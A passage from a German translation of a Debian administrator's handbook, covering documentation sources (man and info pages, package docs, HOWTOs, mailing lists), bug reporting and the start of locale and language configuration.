Zusammenfassend wird das geeignetste Werkzeug für die Aufgabe durch die Komplexität der durchzuführenden Suche bestimmt:

apt-cache sucht nur in Paketnamen und Beschreibungen, was sehr bequem ist, wenn Sie nach bestimmten Paketen suchen, auf die wenige Schlagworte passen;

wenn die Suche ebenfalls Beziehungen zwischen Paketen und andere Metadaten wie den Betreuernamen umfasst, wird synaptic nützlicher sein;

wenn eine Markierungs-basierte Suche nötig ist, ist packagesearch ein gutes Werkzeug: eine grafische Oberfläche zur Suche verfügbarer Pakete neben verschiedenen anderen Kriterien (inklusive der Namen der enthaltenen Dateien);

schlussendlich, wenn die Suche komplexe Ausdrücke mit logischen Operatoren erfordert, wird aptitude mit seiner etwas obskuren aber mächtigen Suchmuster-Syntax das Mittel der Wahl sein; es funktioniert auf der Kommandozeile ebenso wie im interaktiven Modus.

Chapter 7. Probleme lösen und relevante Informationen finden

Die wichtigste Fähigkeit eines Administrators besteht darin, jede bekannte oder unbekannte Situation meistern zu können. Dieses Kapitel zeigt eine Reihe von Methoden auf, die es Ihnen - hoffentlich - ermöglichen, die Ursache jeden Problems, das Ihnen begegnet, einzugrenzen, sodass Sie es lösen können.

7.1. Dokumentationsquellen

Bevor Sie verstehen können, was tatsächlich vor sich geht, wenn Ihnen ein Problem begegnet, müssen Sie die theoretische Rolle kennen, die jedes an dem Problem beteiligte Programm spielt. Hierbei besteht die beste Reaktion darin, zunächst in ihrer Dokumentation nachzuschlagen; da diese Dokumentationen jedoch zahlreich und weit verstreut sind, sollten Sie alle Orte, an denen sie zu finden sind, kennen.

7.1.1. Handbuchseiten

KULTUR RTFM

Dieses Akronym steht für „Read the Fucking Manual“ (Lies das verdammte Handbuch), aber es kann auch zu einer freundlicheren Variante erweitert werden: „Read the Fine Manual“ (Lies das gute Handbuch). Dieser Satz wird manchmal in (knappen) Erwiderungen auf Fragen von Neulingen benutzt. Er ist ziemlich schroff und zeigt eine gewisse Verärgerung über eine Frage, die von jemandem gestellt wird, der sich nicht einmal die Mühe gemacht hat, die Dokumentation zu lesen. Manche sagen, diese klassische Erwiderung sei besser als überhaupt keine (weil sie darauf hindeutet, dass die Dokumentation die gesuchte Information enthält), oder besser als eine ausführlichere aber verärgerte Antwort.

In jedem Fall ist es besser, es nicht übel zu nehmen, wenn Ihnen jemand mit „RTFM“ antwortet. Da diese Antwort irritierend sein kann, sollten Sie jedoch versuchen, sie nicht zu bekommen. Falls die Informationen, die Sie benötigen, nicht im Handbuch zu finden sind (was vorkommen kann), sollten Sie dies vorzugsweise in Ihrer ersten Frage erwähnen. Sie sollten auch die verschiedenen Schritte beschreiben, die Sie persönlich auf der Suche nach Informationen bereits unternommen haben, bevor Sie dem Forum die Frage gestellt haben. Sie können, bevor Sie sich an ein Forum wenden, einigen sinnvollen Empfehlungen folgen, die Eric Raymond zusammengestellt hat.

→ http://catb.org/~esr/faqs/smart-questions.html

Handbuchseiten enthalten in knapper Form sehr viele grundlegende Informationen. Wir wollen kurz auf den Befehl eingehen, mit dem sie aufgerufen werden. Geben Sie einfach man handbuchseite ein - die Handbuchseite heißt normalerweise genauso wie der Befehl, dessen Dokumentation Sie suchen. Um zum Beispiel die möglichen Optionen des Befehls cp herauszufinden, geben Sie an der Eingabeaufforderung man cp ein (siehe Seitenleiste).

ZURÜCK ZU DEN GRUNDLAGEN Die Shell, ein Befehlszeileninterpreter

Ein Befehlszeileninterpreter, auch „Shell“ genannt, ist ein Programm, das Befehle ausführt, die entweder vom Benutzer eingegeben werden oder in einem Skript gespeichert sind. Im interaktiven Modus zeigt es eine Eingabeaufforderung an (die für einen normalen Benutzer gewöhnlich mit $ endet und für einen Administrator mit #), die erkennen lässt, dass es bereit ist, einen neuen Befehl entgegenzunehmen. Appendix B, Kurzer Förderkurs beschreibt die Grundlagen der Shell-Verwendung.

Die vorgegebene und am meisten genutzte Shell ist bash (Bourne Again SHell). Es gibt jedoch auch andere wie dash, csh, tcsh undzsh.

Unter anderem bieten die meisten Shells während einer Eingabe an der Eingabeaufforderung Hilfen an, wie die Vervollständigung eines Befehls oder Dateinamens (die Sie normalerweise durch Drücken der Tabulatortaste auslösen) oder das erneute Aufrufen vorheriger Befehle (Verlaufsmanagement).

Handbuchseiten dokumentieren nicht nur Programme, die über die Befehlszeile erreichbar sind, sondern auch Konfigurationsdateien, Systemaufrufe, C-Bibliotheksfunktionen und so weiter. Manchmal kann es dabei zu Namenskollisionen kommen. Zum Beispiel hat der Shellbefehl read denselben Namen wie der Systemaufruf read. Daher sind Handbuchseiten in nummerierte Abschnitte gegliedert:

Befehle, die von der Befehlszeile aus ausgeführt werden können;

Systemaufrufe (vom Kernel bereitgestellte Funktionen);

Bibliotheksfunktionen (von Systembibliotheken bereitgestellt);

Geräte (bei Unix sind dies besondere Dateien, die sich normalerweise im Verzeichnis /dev/ befinden);

Konfigurationsdateien (Formate und Konventionen);

Spiele;

Zusammenstellungen von Makros und Standards;

Systemverwaltungsbefehle;

Kernelroutinen.

Man kann den Abschnitt der Handbuchseite, nach dem man sucht, angeben: um die Dokumentation des Systemaufrufs read nachzuschlagen, geben Sie man 2 read ein. Wenn kein Abschnitt ausdrücklich angegeben wird, wird der erste Abschnitt, der eine Handbuchseite mit dem gesuchten Namen hat, angezeigt. So liefert man shadow die Ausgabe shadow(5), da es in den Abschnitten 1 bis 4 keine Handbuchseiten für shadow gibt.

HINWEIS whatis

Wenn Sie sich nicht die vollständige Handbuchseite durchlesen möchten, sondern nur eine kurze Beschreibung, um sicher zu sein, dass es das ist, wonach Sie suchen, geben Sie einfach whatis befehl ein.

$ whatis scp scp (1) - secure copy (remote file copy program)

Diese kurze Beschreibung ist auch im Abschnitt NAME am Anfang jeder Handbuchseite enthalten.

Falls Sie die Namen der Befehle nicht kennen, ist das Handbuch für Sie natürlich nicht sehr nützlich. Hierfür gibt es den Befehl apropos, der Ihnen hilft, die Handbuchseiten, oder genauer gesagt, ihre Kurzbeschreibungen zu durchsuchen. Jede Handbuchseite beginnt grundsätzlich mit einer einzeiligen Zusammenfassung. Der Befehl apropos zeigt eine Liste der Handbuchseiten an, die die gesuchten Stichwörter enthalten. Wenn Sie sie gut auswählen, werden Sie den Namen des benötigten Befehls finden.

Example 7.1. Den Befehl cp mit apropos finden

$ apropos "copy file" cp (1) - copy files and directories cpio (1) - copy files to and from archives hcopy (1) - copy files from or to an HFS volume install (1) - copy files and set attributes

HINWEIS Durch das Verfolgen von Verweisen suchen

Viele Handbuchseiten haben, gewöhnlich am Ende, einen „Siehe auch“-Abschnitt. Er verweist auf andere Handbuchseiten, die zu ähnlichen Befehlen gehören, oder auf externe Dokumentationen. Auf diese Weise ist es möglich, sachdienliche Auskünfte zu finden, selbst wenn die erste Auswahl nicht optimal war.

Der Befehl man ist nicht das einzige Mittel, um Handbuchseiten nachzuschlagen, da die Programme konqueror (in KDE) und yelp (unter GNOME) diese Möglichkeit ebenfalls bieten. Es gibt auch eine Web-Schnittstelle, die vom Paket man2html bereitgestellt wird und es ermöglicht, Handbuchseiten in einem Webbrowser anzusehen. Auf einem Rechner, auf dem dieses Paket installiert ist, ist hierzu folgende URL zu benutzen:

→ http://localhost/cgi-bin/man/man2html

Dieses Hilfsprogramm benötigt einen Webserver. Deshalb sollten Sie dieses Paket auf einem Ihrer Server installieren: Alle Nutzer des lokalen Netzwerks können so von diesem Dienst profitieren (auch Nicht-Linux-Rechner), und Sie ersparen es sich, auf jedem Arbeitsplatzrechner einen HTTP-Server einzurichten. Wenn Ihr Server auch von anderen Netzwerken aus erreichbar ist, sollten Sie den Zugriff auf diesen Dienst besser auf die Nutzer des lokalen Netzwerks beschränken.

DEBIAN-RICHTLINIEN Vorgeschriebene Handbuchseiten

Debian verlangt, dass jedes Programm eine Handbuchseite hat. Wenn der Autor eines Programms keine bereitstellt, wird der Debian-Paketbetreuer normalerweise eine kurze Seite verfassen, die den Leser zumindest auf den Ort der Originaldokumentation verweist.

7.1.2. info-Dokumente

Das GNU-Projekt hat für die meisten seiner Programme Handbücher im info-Format geschrieben. Deshalb beziehen sich viele Handbuchseiten auf die entsprechende info-Dokumentation. Dieses Format bietet einige Vorteile, jedoch ist das Programm zur Betrachtung dieser Dokumente etwas komplizierter.

Natürlich heißt der Befehl info, und er verwendet den Namen des „Knotens“, über den Rat eingeholt werden soll, als Argument. Die info-Dokumentation hat eine hierarchische Struktur, und wenn Sie info ohne Parameter aufrufen, zeigt es eine Liste der Knoten an, die auf der obersten Ebene verfügbar sind. Normalerweise tragen Knoten den Namen des dazugehörigen Befehls.

Die Steuerungselemente in der Dokumentation sind nicht besonders intuitiv. Am besten können Sie sich wohl mit dem Programm vertraut machen, indem Sie es aufrufen, dann h (für „Hilfe“) eingeben und den Anweisungen folgen, um so durch Übung zu lernen. Stattdessen können Sie auch einen grafischen Browser benutzen, der wesentlich anwenderfreundlicher ist. Auch hier funktionieren konqueror und yelp; auch der Befehl info2www stellt eine Web-Schnittstelle bereit.

→ http://localhost/cgi-bin/info2www

Beachten Sie, dass das info-System anders als das man-System keine Übersetzungen ermöglicht. info-Dokumente sind daher stets in Englisch. Wenn Sie jedoch das info-Programm auffordern, eine nicht existierende info-Seite anzuzeigen, wird es auf die gleichnamige man-Seite zugreifen (falls es diese gibt), die möglicherweise übersetzt ist.

7.1.3. Konkrete Dokumentation

Jedes Paket verfügt über seine eigene Dokumentation. Sogar die am geringsten dokumentierten Programme haben wenigstens eine README-Datei, die einige interessante und wichtige Informationen enthält. Diese Dokumentation ist im Verzeichnis /usr/share/doc/paket/ installiert (wobei paket dem Namen des Pakets entspricht). Falls die Dokumentation außergewöhnlich groß ist, muss sie nicht unbedingt im Hauptpaket eines Programms enthalten sein, sondern kann in ein speziell hierfür vorgesehenes Paket ausgelagert sein, das dann üblicherweise paket-doc heißt. Das Hauptprogramm empfiehlt im Allgemeinen die Installation des Dokumentationspakets, so dass Sie es leicht finden können.

Im Verzeichnis /usr/share/doc/paket/ befinden sich auch einige von Debian bereitgestellte Dateien, die die Dokumentation vervollständigen, indem sie die Besonderheiten des Pakets genauer beschreiben oder seine Verbesserungen im Vergleich zu einer herkömmlichen Installation der Software. Die Datei README.Debian weist auf alle Anpassungen hin, die vorgenommen wurden, um den Debian-Richtlinien zu entsprechen. Die Datei changelog.Debian.gz gibt dem Anwender die Möglichkeit, die Veränderungen nachzuvollziehen, die an einem bestimmten Paket im Laufe der Zeit vorgenommen wurden: es ist sehr hilfreich, die Veränderungen zwischen zwei installierten Versionen, die sich nicht gleich verhalten, zu verstehen. Schließlich gibt es manchmal auch eine Datei namens NEWS.Debian.gz, die die wesentlichen für einen Administrator wichtigen Änderungen eines Programms erläutert.

7.1.4. Webseiten

In den meisten Fällen haben freie Software-Programme Webseiten, die zu ihrer Veröffentlichung dienen und dazu, die Gemeinschaft ihrer Entwickler und Anwender zusammenzubringen. Diese Seiten sind häufig voll einschlägiger Informationen in verschiedener Form: offizieller Dokumentation, FAQ (häufig gestellte Fragen), Mailinglisten-Archiven usw. In vielen Fällen sind Probleme, die Sie haben, schon Gegenstand zahlreicher Fragen gewesen; die FAQ oder die Mailinglisten-Archive können dafür eine Lösung parat halten. Die gute Beherrschung von Suchmaschinen ist für das schnelle Auffinden relevanter Seiten äußerst nützlich (durch Einschränkung der Suche auf die Internet-Domain oder Sub-Domain, die dem Programm gewidmet ist). Falls die Suche zu viele Seiten ergibt, oder falls die Ergebnisse nicht dem entsprechen, was Sie suchen, können Sie das Stichwort debian hinzufügen, um so die Ergebnisse einzuschränken und genauer auf relevante Informationen abzuzielen.

HINWEISE Vom Fehler zur Lösung

Falls die Software eine sehr konkrete Fehlermeldung ausgibt, können Sie sie in eine Suchmaschine eingeben (in Anführungszeichen, ", um nicht nach einzelnen Stichwörtern, sondern nach dem ganzen Ausdruck zu suchen). In den meisten Fällen werden die ersten Verweise, die angezeigt werden, bereits die von Ihnen benötigte Antwort enthalten.

In anderen Fällen werden Sie sehr allgemeine Fehlermeldungen erhalten, wie zum Beispiel „Permission denied“. Dann ist es am besten, die Benutzerrechte der beteiligten Elemente (Dateien, User-ID, Gruppen usw.) zu überprüfen.

Falls Sie die Adresse der Webseite einer Software nicht kennen, gibt es verschiedene Wege, sie zu finden. Zunächst überprüfen Sie, ob es eine Homepage-Zeile in der Meta-Information des Pakets gibt (apt-cache show paket). Daneben kann auch die Paketbeschreibung einen Verweis auf die offizielle Webseite des Programms enthalten. Falls keine URL angegeben ist, sehen Sie unter /usr/share/doc/paket/copyright nach. Im Allgemeinen gibt der Debianbetreuer in dieser Datei an, woher er den Quellcode des Programms bezogen hat, und dies ist wahrscheinlich die Webseite, die Sie finden wollen. Falls Ihre Suche in diesem Stadium immer noch fruchtlos ist, können Sie ein Verzeichnis mit freier Software wie Freshmeat.net oder Framasoft zu Rate ziehen, oder direkt mit einer Suchmaschine wie Google oder Yahoo suchen.

→ http://freshmeat.net/

→ http://framasoft.org/

Vielleicht möchten Sie auch im Debian-Wiki nachsehen, einer gemeinschaftlich geführten Webseite, auf der jeder, selbst ein einfacher Besucher, Vorschläge direkt von seinem Browser aus machen kann. Es wird sowohl von Entwicklern für die Gestaltung und Konkretisierung ihre Projekte benutzt, als auch von Anwendern, die ihr Wissen durch die gemeinsame Erstellung von Dokumenten weitergeben.

→ http://wiki.debian.org/

7.1.5. Anleitungen (HOWTO)

Ein „HowTo“ ist ein Dokument, das konkret und Schritt für Schritt beschreibt, wie man ein bestimmtes Ziel erreicht. Die behandelten Themen sind recht vielfältig, aber häufig technischer Natur: zum Beispiel das Einrichten eines IP-Masquerading, das Konfigurieren eines Software-RAIDs, das Installieren eines Samba-Servers usw. Diese Dokumente versuchen häufig, alle Probleme abzudecken, die während der Anwendung einer bestimmten Technologie möglicherweise auftreten könnten.

Viele solcher Anleitungen werden vom Linux Documentation Project (LDP) verwaltet, auf dessen Webseite alle diese Dokumente untergebracht sind:

→ http://www.tldp.org/

Installieren Sie einfach das Paket doc-linux-html, um sie sich lokal anzusehen. Lokal abgespeicherte HTML-Versionen stehen dann im Verzeichnis /usr/share/doc/HOWTO/ zur Verfügung.

Verwenden Sie diese Dokumente mit Vorsicht. Sie sind häufig mehrere Jahre alt; die darin enthaltene Information ist manchmal veraltet. Dieses Phänomen ist bei ihren Übersetzungen noch stärker verbreitet, da Aktualisierungen weder systematisch noch unmittelbar nach der Veröffentlichung einer neuen Version des ursprünglichen Dokuments erfolgen. Dies ist Teil des Vergnügens, in einer Freiwilligen-Umgebung und ohne Zwänge zu arbeiten...

7.2. Allgemeine Verfahren

Dieser Abschnitt dient dazu, einige allgemeine Tipps zu bestimmten Tätigkeiten zu geben, die ein Administrator häufig durchführen muss. Diese Verfahren werden natürlich nicht jeden denkbaren Fall in aller Ausführlichkeit abdecken, aber sie können als Ausgangspunkt für schwierigere Fälle dienen.

ENTDECKUNG Dokumentation in Französisch

Häufig ist eine Dokumentation, die in eine nicht-englische Sprache übersetzt wurde, in einem gesonderten Paket verfügbar mit dem Namen des dazugehörigen Pakets gefolgt von -lang (wobei lang der zweistellige ISO-Code dieser Sprache ist).

So enthält das Paket apt-howto-fr die französische Übersetzung des HowTo für APT. In ähnlicher Weise sind die Pakete quick-reference-fr und debian-reference-fr (Debian Referenz) die französischen Versionen der Referenzhandbücher für Debian (ursprünglich von Osamu Aoki in Englisch geschrieben).

7.2.1. Ein Programm konfigurieren

Wenn Sie ein unbekanntes Paket konfigurieren möchten, müssen Sie schrittweise vorgehen. Zunächst sollten Sie lesen, was der Paketbetreuer dokumentiert hat. So wird die Lektüre von /usr/share/doc/paket/README.Debian es Ihnen gewiss ermöglichen, etwas über spezielle Vorkehrungen zu erfahren, die getroffen wurden, um die Verwendung der Software zu vereinfachen. Manchmal ist dies unerlässlich, um Unterschiede zum ursprünglichen Verhalten des Programms zu verstehen, wie es in der allgemeinen Dokumentation (zum Beispiel den HowTos) beschrieben ist. Manchmal erklärt die Datei auch Einzelheiten der häufigsten Fehler, so dass Sie keine Zeit mit gewöhnlich auftretenden Problemen vergeuden.

Anschließend sollten Sie einen Blick auf die offizielle Dokumentation der Software werfen - sehen Sie im vorhergehenden Abschnitt nach, um die verschiedenen vorhandenen Dokumentationsquellen zu ermitteln. Der Befehl dpkg -L paket gibt eine Liste der in dem Paket enthaltenen Dateien aus; so können sie schnell feststellen, welche Dokumentation verfügbar ist (wie auch die in /etc/ befindlichen Konfigurationsdateien). dpkg -s paket führt die Paket-Header auf und zeigt alle möglicherweise empfohlenen oder vorgeschlagenen Pakete an; darin können sie die Dokumentation finden oder ein Hilfsprogramm, das die Konfigurierung der Software erleichtert.

Schließlich sind auch die Konfigurationsdateien häufig intern mit zahlreichen erklärenden Kommentaren versehen, die die verschiedenen möglichen Werte für jede Konfigurationseinstellung im Einzelnen darlegen. Und zwar so konkret, dass es häufig ausreicht, eine der verfügbaren Zeilen zu aktivieren. Manchmal werden auch Fallbeispiele der Konfigurationsdateien im Verzeichnis /usr/share/doc/paket/examples/ bereitgestellt. Sie können als Basis für Ihre eigene Konfigurationsdatei dienen.

DEBIAN-RICHTLINIEN Speicherort von Beispielen

Alle Beispiele sollten in das Verzeichnis /usr/share/doc/paket/examples/ installiert werden. Dies kann eine Konfigurationsdatei, ein Programm-Quellcode (ein Beispiel für die Verwendung einer Bibliothek) oder ein Skript zur Datenkonvertierung sein, das der Administrator in bestimmten Fällen benutzen kann (um zum Beispiel eine Datenbank anzulegen). Falls das Beispiel nur für eine bestimmte Architektur gültig ist, sollte es nach /usr/lib/paket/examples/ installiert werden, und Sie sollten dann einen Verweis auf diese Datei im Verzeichnis /usr/share/doc/paket/examples/ anlegen.

7.2.2. Das Verhalten der Daemons (Hintergrundprozesse) überwachen

Ein Daemon erschwert das Verständnis einer Situation etwas, da er nicht direkt mit dem Administrator interagiert. Um zu überprüfen, ob ein Daemon tatsächlich läuft, müssen Sie ihn testen. Um zum Beispiel Apache (Webserver-Daemon) zu überprüfen, testen Sie ihn mit einer HTTP-Anforderung.

Um solche Tests zu ermöglichen, protokolliert ein Daemon normalerweise alles, was er tut, sowie auch alle Fehler, die ihm begegnen, in sogenannten „Protokolldateien“ oder „Systemprotokollen“. Protokolle werden im Verzeichnis /var/log/ oder einem seiner Unterverzeichnisse gespeichert. Um für jeden Daemon den genauen Namen der Protokolldatei herauszufinden, sehen Sie in seiner Dokumentation nach. Hinweis: Ein einzelner Test ist nicht immer ausreichend, wenn er nicht alle etwaigen Anwendungsfälle abdeckt; einige Probleme treten nur unter ganz bestimmten Umständen auf.

HILFSPROGRAMM Der Daemon rsyslogd

rsyslogd ist etwas Besonderes: er sammelt Protokolle (interne Systemnachrichten), die ihm von anderen Programmen zugeschickt werden. Jeder Protokolleintrag ist einem Subsystem (e-Mail, Kernel, Legitimation usw.) zugeordnet und einer Priorität, einer zwei-Bit-Information, die rsyslogd verarbeitet, um zu entscheiden, was zu tun ist. Die Protokollnachricht kann in unterschiedlichen Protokolldateien aufgezeichnet werden oder an eine Administrationskonsole geschickt werden. Die Einzelheiten sind in der Konfigurationsdatei /etc/rsyslog.conf festgelegt (und in der Handbuchseite gleichen Namens dokumentiert).

Bestimmte C-Funktionen, die auf das Versenden von Protokollen spezialisiert sind, vereinfachen die Verwendung des Daemons rsyslogd. Jedoch verwalten einige Daemons ihre eigenen Protokolldateien (dies gilt zum Beispiel für samba, der Windows-Freigaben auf Linux realisiert).

ZURÜCK ZU DEN GRUNDLAGEN Daemon

Ein Daemon ist ein Programm, das nicht ausdrücklich vom Nutzer aufgerufen wird, sondern im Hintergrund auf das Eintreten bestimmter Bedingungen wartet, bevor es eine Aufgabe ausführt. Viele Serverprogramme sind Daemons, ein Begriff, der erklärt, warum am Ende ihres Namens häufig der Buchstabe „d“ steht (sshd, smtpd, httpd usw.).

Jede vorbeugende Maßnahme beginnt damit, regelmäßig die wichtigsten Serverprotokolle durchzusehen. Sie können auf diese Weise Probleme erkennen, bevor sie überhaupt von verärgerten Nutzern gemeldet werden. In der Tat warten Nutzer manchmal mehrere Tage lang auf das wiederholte Auftreten eines Problems, bevor sie es melden. Sie können auch ein spezielles Hilfsprogramm benutzen, um den Inhalt größerer Protokolldateien zu analysieren. Es gibt derartige Hilfsprogramme für Webserver (wie zum Beispiel analog, awstats, webalizer für Apache), für FTP-Server, für Proxy-/Cache-Server, für Firewalls, für E-Mail-Server, für DNS-Server und sogar für Druckserver. Einige dieser Hilfsprogramme arbeiten in modularer Weise und erlauben die Analyse verschiedener Arten von Protokolldateien. Dies ist der Fall bei lire oder auch bei modlogan. Andere Hilfsprogramme, wie logcheck (ein Programm, das in Chapter 14, Sicherheit erörtert wird), durchforschen diese Dateien, um nach Alarmsignalen zu suchen, die behandelt werden müssen.

7.2.3. In einer Mailingliste um Hilfe bitten

Falls alle Ihre Suchen Ihnen nicht geholfen haben, zum Kern des Problems vorzudringen, ist es möglich, Hilfe von anderen, möglicherweise erfahreneren Leuten zu bekommen. Dies ist in der Tat der Zweck der Mailingliste <debian-user@lists.debian.org>. Wie bei jeder Gemeinschaft hat sie Regeln, die zu befolgen sind. Bevor Sie eine Frage stellen, sollten Sie überprüfen, ob das Problem nicht bereits durch noch nicht lange zurückliegende Diskussionen oder durch eine offizielle Dokumentation abgedeckt ist.

→ http://wiki.debian.org/DebianMailingLists

→ http://lists.debian.org/debian-user/

HINWEIS Eine Liste im Web lesen

Bei umfangreichen Mailinglisten wie <debian-user@lists.debian.org> kann es sich lohnen, sie wie ein Diskussionsforum (oder eine Nachrichtengruppe) durchzugehen. Gmane.org ermöglicht es, sich die Debian-Listen in dieser Weise anzusehen. Die hier erwähnte Liste ist unter

→ http://dir.gmane.org/gmane.linux.debian.user

erreichbar.

ZURÜCK ZU DEN GRUNDLAGEN Geltende Netiquette

Grundsätzlich sollten die Regeln der Netiquette bei allen Schriftwechseln mit E-Mail-Listen befolgt werden. Dieser Begriff bezieht sich auf eine Reihe von Regeln des gesunden Menschenverstandes, von allgemeiner Höflichkeit bis zu Fehlern, die vermieden werden sollten.

→ http://tools.ietf.org/html/rfc1855

Nachdem Sie diese beiden Dinge überprüft haben, können Sie es in Betracht ziehen, Ihr Problem in der Mailingliste zu beschreiben. Fügen Sie möglichst viele sachbezogene Informationen bei: verschiedene Tests, die Sie durchgeführt haben, Dokumentationen, die Sie zu Rate gezogen haben, wie Sie versucht haben, das Problem zu einzugrenzen, die betroffenen oder möglicherweise beteiligten Pakete usw. Überprüfen Sie die Debian-Fehlerdatenbank (BTS, in der Seitenleiste HILFSPROGRAMM Fehlerdatenbank beschrieben) auf ähnliche Probleme, und erwähnen Sie die Ergebnisse dieser Überprüfung, indem Sie Verweise zu den Fehlern, die Sie gefunden haben, angeben. Das BTS beginnt auf

→ http://www.debian.org/Bugs/index.html

Je höflicher und genauer Sie sind, desto größer sind Ihre Aussichten, eine Lösung zu erhalten oder doch wenigstens Teile einer Antwort. Falls Sie passende Informationen über private E-Mails erhalten, sollten Sie in Betracht ziehen, diese öffentlich zusammenzufassen, so dass sie auch anderen nützen. Ermöglichen Sie es, dass die Archive der Liste, wenn sie von verschiedenen Suchmaschinen durchsucht werden, die Lösung für andere, die die gleiche Frage haben, anzeigen.

7.2.4. Einen Fehler melden, wenn ein Problem zu schwierig ist

Wenn alle Ihre Versuche, ein Problem zu lösen, fehlschlagen, ist es möglich, dass die Lösung nicht in Ihrem Verantwortungsbereich liegt, und dass das Problem von einem Programmfehler hervorgerufen wird. In diesem Fall besteht die richtige Vorgehensweise darin, den Fehler an Debian oder direkt an die ursprünglichen Entwickler zu melden. Hierzu grenzen Sie das Problem möglichst weitgehend ein und erstellen eine minimale Testsituation, in der er reproduziert werden kann. Wenn Sie wissen, welches Programm offensichtlich der Grund für das Problem ist, können Sie das dazugehörige Paket mit dem Befehl dpkg -S betroffene_datei finden. Überprüfen Sie die Fehlerdatenbank (http://bugs.debian.org/paket), um sicherzustellen, dass der Fehler nicht bereits gemeldet worden ist. Sie können dann Ihren eigenen Fehlerbericht mit dem Befehl reportbug einsenden, einschließlich möglichst vieler Informationen, insbesondere einer vollständigen Beschreibung der minimalen Testfälle, die es jedem ermöglichen, den Fehler zu reproduzieren.

Die Teile dieses Kapitels zeigen ein Weg, Probleme effektiv zu lösen, die die folgenden Kapitel hervorrufen könnten. Benutzen Sie sie so oft wie nötig!

Chapter 8. Basis-Konfigurierung: Netzwerk, Benutzerkonten, Drucken...

Ein Rechner mit einer neuen Installation, die mit debian-installer erstellt wurde, sollte möglichst weitgehend funktionsfähig sein, aber viele Dienste müssen noch konfiguriert werden. Außerdem ist es immer gut, wenn man weiß, wie bestimmte Konfigurationselemente, die während des ursprünglichen Installationsprozesses festgelegt wurden, geändert werden.

In diesem Kapitel wird all das besprochen, was wir „Basis-Konfigurierung“ nennen: Netzwerkbetrieb, Sprache und Sprachumgebungen, Benutzer und Gruppen, Drucken, Einhängepunkte usw.

8.1. Das System für eine andere Sprache konfigurieren

Falls das System auf Französisch installiert wurde, wird der Rechner wahrscheinlich schon Französisch als Sprache voreingestellt haben. Aber es ist gut zu wissen, was der Installer macht, um die Sprache einzustellen, so dass Sie sie später, falls nötig, ändern können.

HILFSPROGRAMM Der Befehl locale zur Anzeige der aktuellen Konfiguration

Der Befehl locale listet eine Zusammenfassung der aktuellen Konfiguration verschiedener lokaler Parameter (Datumsformat, Zahlenformat usw.) auf, dargestellt in Form einer Gruppe von Standardumgebungsvariablen, die der dynamischen Änderung dieser Einstellungen entsprechen.

8.1.1. Die Standardsprache einstellen

Eine Sprachumgebung ist eine Gruppe regionaler Einstellungen. Diese beschränken sich nicht nur auf die Sprache der Texte, sondern umfassen auch die Formate, in denen Zahlen, Termine, Zeiten und Währungsbeträge angezeigt werden, wie auch die Methode alphabetischer Vergleiche (um Einträge alphabetisch zu ordnen und gegebenenfalls mit Akzenten versehene Buchstaben einzubeziehen). Obwohl jeder dieser Parameter unabhängig von den anderen festgelegt werden kann, verwenden wir normalerweise eine Sprachumgebung, die ein kohärenter Satz von Einstellungen für diese Parameter ist, der einer „Region“ im weitesten Sinne entspricht. Diese Sprachumgebungen werden gewöhnlich in der Form sprachcode_LÄNDERCODE angegeben, manchmal mit einem Suffix zur Festlegung des Zeichensatzes und der zu verwendenden Kodierung. Dies ermöglicht die Berücksichtigung redensartlicher und typografischer Unterschiede zwischen verschiedenen Regionen mit einer gemeinsamen Sprache.

KULTUR Zeichensätze

Historisch bedingt hat jede Sprachumgebung einen dazugehörigen „Zeichensatz“ (Gruppe bekannter Zeichen) und eine bevorzugte „Codierung“ (interne Darstellung von Zeichen innerhalb des Rechners).

Die Codierung ISO-8859-1 (oder „Latin 1“) wurde zum Beispiel bevorzugt in Frankreich verwendet. Aus historischen Gründen enthielt sie jedoch bestimmte Zeichen nicht (wie zum Beispiel œ, Ÿ, und €). Deshalb wurde ISO-8859-15 (oder „Latin 9“ oder auch „Latin 0“) entwickelt. Unter anderem ersetzte sie das frühere internationale Währungszeichen (einen Kreis mit vier Seitenarmen: ¤), „½“,„¼“ und „¾“ jeweils durch das Eurosymbol „€“, „œ“, „Œ“ und „Ÿ“. Da die Codierung dieser beiden Sätze für jedes Zeichen ein einzelnes Oktett (8 Bits) verwendet, haben diese Sätze nur Platz für 256 Zeichen. Andere Sprachen verwenden andere Zeichensätze oder andere Codierungen, entweder aus der „Latin“-Familie oder sonstigen.

Das Arbeiten mit fremden Sprachen erfordert häufig regelmäßiges Umschalten zwischen verschiedenen Codierungen und Zeichensätzen. Darüber hinaus führte das Schreiben mehrsprachiger Dokumente zu weiteren, fast unlösbaren Problemen. Unicode (ein Superkatalog fast aller Schreibsysteme aller Sprachen der Erde) wurde zur Umgehung dieses Problems entwickelt. Eine der Codierungen von Unicode, UTF-8, enthält alle 128 ASCII-Symbole (7-Bit Codes), behandelt andere Zeichen aber auf andere Weise. Den anderen werden sogenannte „Escape“-Zeichenfolgen unterschiedlicher Länge vorangestellt. Dies ermöglicht das Codieren aller Unicode-Zeichen in einer Folge von einem oder mehreren Oktetten.

Anwendungen wurden allmählich umgestellt, und die Verwendung von UTF-8 ist inzwischen weitverbreitet. Dies wurde dadurch erleichtert, dass diese Codierung die Standardcodierung für XML-Dokumente ist. Außer unter besonderen Umständen sollte diese Codierung generell verwendet werden. Sie ist seit Etch bei neuen Installationen die Voreinstellung.

Das Paket locales enthält alle Elemente, die für das richtige Funktionieren der „Lokalisierung“ verschiedener Anwendungen erforderlich sind. Während des Installierens stellt dieses Paket einige Fragen, um die unterstützten Sprachen auszuwählen. Dieser Satz unterstützter Sprachen kann durch das Ausführen von dpkg-reconfigure locales geändert werden.

Sie werden zunächst gefragt, welche „Sprachumgebungen“ einbezogen werden sollen. Das Auswählen aller deutschen Sprachumgebungen (das heißt all derer, die mit „de_DE“ beginnen) ist eine vernünftige Wahl. Zögern Sie nicht, andere Sprachumgebungen auszuwählen, falls der Rechner ausländischen Benutzern zur Verfügung stehen wird. Die Liste der bekannten Sprachumgebungen des Systems ist in der Datei /etc/locale.gen gespeichert. Diese Datei kann von Hand editiert werden, jedoch sollten Sie nach jeder Änderung locale-gen ausführen. Es erzeugt die für das ordnungsgemäße Funktionieren hinzugefügter Sprachumgebungen erforderlichen Dateien und entfernt veraltete Dateien.

Die zweite Frage lautet „Set default locale“ und fordert die Angabe einer Voreinstellung für die Sprachumgebung. In Deutschland ist die empfohlene Auswahl „de_DE.UTF-8“. Österreicher werden „de_AT.UTF-8“ bevorzugen, Schweizer „de_CH.UTF-8“, Belgier „de_BE.UTF-8“, Luxemburger „de_LU.UTF-8“ und Liechtensteiner „de_LI.UTF-8“. Die Datei /etc/default/locale wird anschließend geändert, um die festgelegte Sprachumgebung LANG einzustellen.

HINTER DEN KULISSEN /etc/environment und /etc/default/locale

